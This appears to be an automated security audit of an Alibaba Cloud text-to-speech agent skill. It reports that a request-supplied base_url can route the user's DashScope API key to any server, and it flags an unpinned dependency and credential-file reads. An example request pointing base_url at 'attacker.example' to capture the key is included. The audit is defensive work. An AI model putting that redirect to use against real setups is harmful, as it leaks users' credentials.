Back to skill

Security audit

Alibaba Cloud AI Audio TTS

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly matches its text-to-speech purpose, but its helper script lets a request choose an arbitrary API endpoint while using the user's DashScope API key.

Review before installing. Use only trusted request JSON, do not allow untrusted users to set base_url, and prefer removing or allowlisting endpoint selection before using a real DashScope API key. Avoid sending secrets or regulated text to remote TTS, and clean output files if generated audio links or request payloads are sensitive.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/generate_tts.py:82
Finding

Request-Controlled API Endpoint Can Disclose the DashScope API Key

Content
View full analysis

Vulnerability Details

File Location: scripts/generate_tts.py, lines 82-100
Vulnerability Type: Unvalidated API endpoint override causing credential disclosure
Risk Level: High

Vulnerable Code

python
def load_request(args: argparse.Namespace) -> dict[str, Any]:
    if args.request:
        return json.loads(args.request)
    if args.file:
        with open(args.file, "r", encoding="utf-8") as f:
            return json.load(f)
    raise ValueError("Either --request or --file must be provided")


def call_generate(req: dict[str, Any]) -> dict[str, Any]:
    text = req.get("text")
    if not text:
        raise ValueError("text is required")

    dashscope.base_http_api_url = req.get(
        "base_url", "https://dashscope.aliyuncs.com/api/v1"
    )

    response = dashscope.MultiModalConversation.call(
        model=MODEL_NAME,
        api_key=os.getenv("DASHSCOPE_API_KEY"),

Technical Analysis

The request is loaded directly from attacker-influenced inline JSON or a caller-supplied JSON file. The undocumented base_url property is then assigned to the global DashScope SDK API endpoint without validating its scheme, hostname, port, or path.

The same SDK call receives the genuine DASHSCOPE_API_KEY. Consequently, a crafted request can redirect an authenticated API call to an arbitrary server. Depending on the DashScope SDK's authentication implementation, the API key may be transmitted in an authorization header or another request field to that server.

Allowing an arbitrary endpoint is unnecessary for the declared TTS function. The documentation identifies only the Beijing and Singapore DashScope endpoints, so accepting unrestricted destinations exceeds least-privilege requirements.

Attack Path

  1. An attacker supplies an inline or file-based request containing an attacker-controlled endpoint:

    json
    {
      "text": "Test request",
      "voice": "Cherry",
      "base_url": "https://attacker.example/api/v1"
    }
    `
    

...[truncated 1174 chars]

Remediation
View remediation

Remediation Suggestions

  1. Remove request-level base_url support if endpoint customization is not required:

    python
    dashscope.base_http_api_url = "https://dashscope.aliyuncs.com/api/v1"
    
  2. If regional selection is required, accept a fixed region identifier rather than a URL and map it to an explicit allowlist:

    python
    ENDPOINTS = {
        "beijing": "https://dashscope.aliyuncs.com/api/v1",
        "singapore": "https://dashscope-intl.aliyuncs.com/api/v1",
    }
    
    region = req.get("region", "beijing")
    if region not in ENDPOINTS:
        raise ValueError("Unsupported DashScope region")
    
    dashscope.base_http_api_url = ENDPOINTS[region]
    
  3. Do not accept arbitrary schemes, hostnames, ports, credentials in URLs, IP literals, or deceptive subdomains.

  4. Ensure redirects cannot forward authentication headers or credentials to a host outside the allowlist.

  5. Define an explicit request schema and reject unknown properties such as base_url.

  6. Add tests confirming rejection of HTTP endpoints, localhost, private-network addresses, user-info URLs, deceptive subdomains, and arbitrary external hosts.

  7. Rotate any API key that may have been used with an untrusted request containing base_url.

T08 · Insecure Dependencies

Note
Location
SKILL.md:36
Finding

Unpinned DashScope Dependency Creates a Supply-Chain Risk

Content
View full analysis

Vulnerability Details

File Location: SKILL.md, lines 36-40; references/api_reference.md, lines 5-9
Vulnerability Type: Unpinned third-party dependency installation
Risk Level: Low

Vulnerable Code

From SKILL.md:

bash
python3 -m venv .venv
. .venv/bin/activate
python -m pip install dashscope

The same installation pattern appears in references/api_reference.md:

bash
python3 -m venv .venv
. .venv/bin/activate
python -m pip install dashscope

Technical Analysis

The installation instructions resolve the latest available dashscope release at installation time. No exact version, lock file, integrity hash, or reviewed dependency set is specified.

This makes installation behavior non-reproducible and permits a future package release or transitive dependency update to introduce incompatible or malicious code without any corresponding change to this project. Python packages and their dependencies can execute code during installation and whenever imported by scripts/generate_tts.py.

The package name is consistent throughout the project, and the audit found no evidence that the currently referenced package is typosquatted or malicious. The finding concerns the absence of version and integrity controls rather than a confirmed compromise of the dependency.

Attack Path

  1. A user follows the documented prerequisite and runs python -m pip install dashscope.
  2. pip resolves the package version and transitive dependencies available at that time.
  3. If a future package release or dependency is compromised, pip installs the affected code.
  4. Malicious installation hooks may execute during installation, or malicious runtime code may execute when the script imports dashscope.
  5. That code runs with the privileges of the user executing the installation or TTS script.

Impact Assessment

A compromised dependency could execute arbitrary Python code with the invoking user's privileges. Depending on the runtime environme ...[truncated 429 chars]

Remediation
View remediation

Remediation Suggestions

  1. Pin dashscope to an exact version that has been reviewed and tested:

    text
    dashscope==REVIEWED_VERSION
    
  2. Generate a lock file that also pins all transitive dependencies.

  3. Record cryptographic hashes and install with pip's hash verification:

    bash
    python -m pip install --require-hashes -r requirements.txt
    
  4. Use a trusted package index explicitly and prevent unexpected fallback to untrusted indexes.

  5. Review package release notes and dependency changes before updating the pin.

  6. Add automated vulnerability and provenance scanning for direct and transitive dependencies.

  7. Keep installation inside a dedicated virtual environment with only the filesystem and network permissions required for the TTS workflow.

  8. Update both SKILL.md and references/api_reference.md so all installation instructions use the same reviewed, reproducible dependency specification.

Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Rogue AgentSelf-Modification, Session Persistence
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Findings (11)

Tainted flow: 'audio_url' from os.getenv (line 109, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

The script downloads and trusts a URL returned by the external TTS API without validating the scheme, host, or destination. If the upstream service, SDK, or request routing is compromised—or if a user supplies a malicious base_url—the returned audio_url could point to an attacker-controlled or internal resource, enabling SSRF-style network access or retrieval of unexpected content.

Content

Scanner excerpt · scripts/generate_tts.py (reported line 119)May include surrounding context.

python
def download_audio(audio_url: str, output_path: Path) -> None:
    output_path.parent.mkdir(parents=True, exist_ok=True)
    with urllib.request.urlopen(audio_url) as response:
        output_path.write_bytes(response.read())

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/generate_tts.py (reported line 54)May include surrounding context.

python
def _load_env() -> None:
    _load_dotenv(Path.cwd() / ".env")
    repo_root = _find_repo_root(Path(__file__).resolve())
    if repo_root:
        _load_dotenv(repo_root / ".env")

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/generate_tts.py (reported line 57)May include surrounding context.

python
def _load_env() -> None:
    _load_dotenv(Path.cwd() / ".env")
    repo_root = _find_repo_root(Path(__file__).resolve())
    if repo_root:
        _load_dotenv(repo_root / ".env")

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/generate_tts.py (reported line 140)May include surrounding context.

python
_load_dashscope_api_key_from_credentials()
    if not os.environ.get("DASHSCOPE_API_KEY"):
        print(
            "Error: DASHSCOPE_API_KEY is not set. Configure it via env/.env or ~/.alibabacloud/credentials.",
            file=sys.stderr,
        )
        print("Example .env:\n  DASHSCOPE_API_KEY=your_key_here", file=sys.stderr)

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
91% confidence
Finding

The skill documents capabilities that require environment access, filesystem reads/writes, and outbound network use, but it does not declare any explicit tool scope or permission boundaries. This can lead to overbroad execution in a host agent, where the skill may inherit more access than necessary and make it harder to enforce least privilege or review what the skill is allowed to do.

Content

No source excerpt is available for this finding.

Session Persistence

Medium
Category
Rogue Agent
Confidence
76% confidence
Finding

The skill instructs writing validation artifacts and generated outputs to a persistent local directory, which creates session persistence on disk. While this is common for evidence collection, persisted request payloads, logs, and audio links can expose sensitive text content, metadata, or user data across runs if the workspace is shared or insufficiently cleaned.

Content

Scanner excerpt · SKILL.md (reported line 14)May include surrounding context.

Validation

bash
mkdir -p output/aliyun-qwen-tts
python -m py_compile skills/ai/audio/aliyun-qwen-tts/scripts/generate_tts.py && echo "py_compile_ok" > output/aliyun-qwen-tts/validate.txt

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The documentation instructs users to send arbitrary text to an external DashScope TTS endpoint but does not clearly warn that the input leaves the local system and is processed by a third party. In a skill specifically meant for text-to-speech generation, users may pass sensitive scripts, prompts, names, or internal content, creating an avoidable data disclosure risk through omission of privacy and data-handling guidance.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The streaming example similarly sends text to a remote service and returns externally processed audio data, but it omits any notice about off-system transmission or privacy implications. Because streaming can feel more "local" to implementers, the lack of warning may increase the chance that sensitive content is sent in real time without user awareness or policy review.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

This code sends the provided text to DashScope via dashscope.MultiModalConversation.call, which is a network operation transmitting user-supplied content to a third-party service. While the module docstring says it uses DashScope, there is no explicit warning, confirmation, or user-facing disclosure near execution about sending request text off-box.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Low
Category
Not specified by scanner
Confidence
88% confidence
Finding

The manifest and the rest of the file describe a text-to-speech provider that generates audio via DashScope. However, the workflow text discusses confirming whether an operation is read-only or mutating and running a minimal read-only query first, which does not match TTS generation semantics and appears copied from a generic data-operation workflow.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
77% confidence
Finding

The code automatically loads .env values and reads ~/.alibabacloud/credentials to populate DASHSCOPE_API_KEY. Although this behavior is functional, there is no user-facing disclosure that the script will inspect local environment and credential sources for secrets.

Content

No source excerpt is available for this finding.